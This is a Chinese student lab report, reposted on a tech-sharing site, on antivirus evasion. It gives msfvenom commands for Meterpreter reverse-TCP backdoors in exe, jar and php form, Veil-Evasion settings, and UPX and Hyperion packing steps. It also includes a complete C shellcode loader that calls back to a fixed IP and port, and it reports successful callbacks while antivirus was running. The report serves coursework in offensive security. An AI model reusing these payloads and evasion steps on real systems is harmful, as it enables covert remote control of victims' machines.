ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

2018-2019-2 网络对抗技术 20165303 Exp3 免杀原理与实践

2019-03-30 18:49:55  阅读:378  来源: 互联网

标签:x68 免杀 x8b 20165303 检测 xff Exp3 x01 x00


实验内容

  • 一. 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

    - 1.使用msf编码器生成各种后门程序及检测
    - 2.使用veil-evasion生成后门程序及检测
    - 3.半手工注入Shellcode并执行
  • 二. 通过组合应用各种技术实现恶意代码免杀(0.5分)

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  • 三.1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

基础问题回答及免杀的原理

  • 一.免杀原理

一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

  • 二.杀软是如何检测出恶意代码的?

  • 1.基于特征码的检测
    简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
    AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。

  • 2.启发式恶意软件检测
    启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

  • 3.基于行为的恶意软件检测
    最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,
    所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

  • 三.免杀是做什么?

我认为免杀就是使用一定的伪装把自己的程序进行改头换面从而达到不被杀软发现的目的,从而实现恶意软件能够长期存在于系统中,实现自己的恶意功能

  • 四.免杀的基本方法有哪些?

  • 改变特征码
    - 如果你手里只有EXE
    - 加壳:压缩壳 加密壳
  • 有shellcode(像Meterpreter)
    - 用encode进行编码
    - 基于payload重新编译生成可执行文件
  • 有源代码
    - 用其他语言进行重写再编译(veil-evasion)

  • 改变行为
    - 通讯方式
    - 尽量使用反弹式连接
    - 使用隧道技术
    - 加密通讯数据
  • 操作模式
    - 基于内存操作
    - 减少对系统的修改
    - 加入混淆作用的正常功能代码

  • 非常规方法
    - 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    - 使用社工类攻击,诱骗目标关闭AV软件。
    - 纯手工打造一个恶意软件
  • 五.如何检测自己的软件
    可以利用老师给的网站VirusTotal或Virscan来看看自己的软件是否能被杀毒引擎检测出来

实验内容

实验一正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

任务一使用msf编码器生成各种后门程序及检测

  1. 正确使用msf编码器,生成exe文件
  • 我们首先对实验二生成的backdoor后门程序放到网站VirusTotal或Virscan进行检测一下,软件名字里有数字然后就不能上传很难受,还得改一下名字,下面是检测的结果

  • 发现这是一个非常明显的后门软件,被很多杀毒引擎都查出来了

  • 然后我们使用msf编码器对后门程序进行一次到多次的编码,并进行检测
    一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.154 LPORT=5303 -f exe > 20165303_backdoor.exe

  • 编码完之后进行检测,下面是检测结果,发现并没有什么用处,一次编码的效果微乎其微

  • 十次编码使用命令:-i设置迭代次数
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.154 LPORT=5303 -f exe > wy_backdoor.exe
  • 接下来进行检测,下面是检测的结果

  • 编码十次也没有什么大的用处,因为你编码总需要解码,杀软只需要把解码的程序代码编入检测库中就可以了,除非你用的新的编码模式,还有就是msfvenom生成backdoor的模板是固定的,只有用新的模板也许可以不被发现

2.利用msfvenom生成jar文件

  • 生成java后门程序的命令
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 x> wy1_backdoor_java.jar
  • 下面是扫描的结果



一个软件引擎还是有很多发现是木马程序的,但另一个引擎发现的比较少,只有几个发现是java木马程序,说明java后门程序还是稍微有点作用的

3.msfvenom生成php文件
生成php后门程序的命令如下
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 x> wy_backdoor.php

下面来测试一下生成的结果


发现能被杀毒引擎查出来的已经很少了

任务二使用veil-evasion生成后门程序及检测

  • 首先安装veil自己在安装的时候花了不少的功夫,首先宿舍网下载不了,太慢了,有时候直接卡死,后来用自己热点下,下载成功了但是install的时候一直出现error,尤其是解压Python什么的时候老是出问题后来看着同学安装时候的博客,最后终于成功了

sudo apt-get install veil-evasion

  • 这是命令,然后进入veil安装,安装好之后会出现如下结果
  • 然后输入use evasion命令进入Evil-Evasion
  • 在输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 然后设置反弹连接IP set LHOST 192.168.1.154
  • 在设置一下端口,set LPORT 5303下面是设置好的结果

  • 在输入generate生成文件,接着输入生成的程序名字veil_c_5303

  • 丢到查杀引擎上检测一下

  • 还是有很多的引擎能够查杀出来,有点尴尬哈,一顿操作猛如虎,结果······

任务三半手工注入Shellcode并执行

  • 首先使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 -f c这是用C语言生成一段shellcode

在桌面上创建一个.c文件直接丢到codeblocks里加上头文件编译一下直接就可以运行

#include<stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x9a"
"\x68\x02\x00\x14\xb7\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 然后发现一运行就被可恶的腾讯电脑管家给杀掉了,意料之中的事情
  • 丢到杀毒引擎上看一下,发现还是很容易就被查杀出来了

实验二通过组合应用各种技术实现恶意代码免杀

任务一半手工制作shellcode加压缩壳

  • 首先使用压缩壳可以减少应用体积,如ASPack,UPX
    把之前的20165303wy.exe丢到kali中使用命令upx 20165303wy.exe -o wybc_upxed.exe加一个压缩壳

  • 然后放到Windows进行运行,发现竟然奇迹般的成功了运用杀毒软件检测发现也没有问题
  • 这是在杀软开着的情况下运行右下角可以看到杀软开启,并且运行成功,而且也成功回连并获得权限,没有报错

  • 丢到查杀引擎上看一下,发现还是有很多被查出来了
  • 完美

任务二加密壳

  • 使用加密壳版权保护,反跟踪。如ASProtect,Armadillo
  • 将上一个文件拷贝到/usr/share/windows-binaries/hyperion/
  • 进入目录并输入命令wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe
    成功后如下


  • 尝试回连并发现可以成功

    丢到杀毒引擎上看一下发现还是有很多被查出来了

实验三用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

用的同学的win7虚拟机,杀毒软件名称金山毒霸版本如下

程序与金山毒霸共存截图

成功回连结果

标签:x68,免杀,x8b,20165303,检测,xff,Exp3,x01,x00
来源: https://www.cnblogs.com/Vventador/p/10628140.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有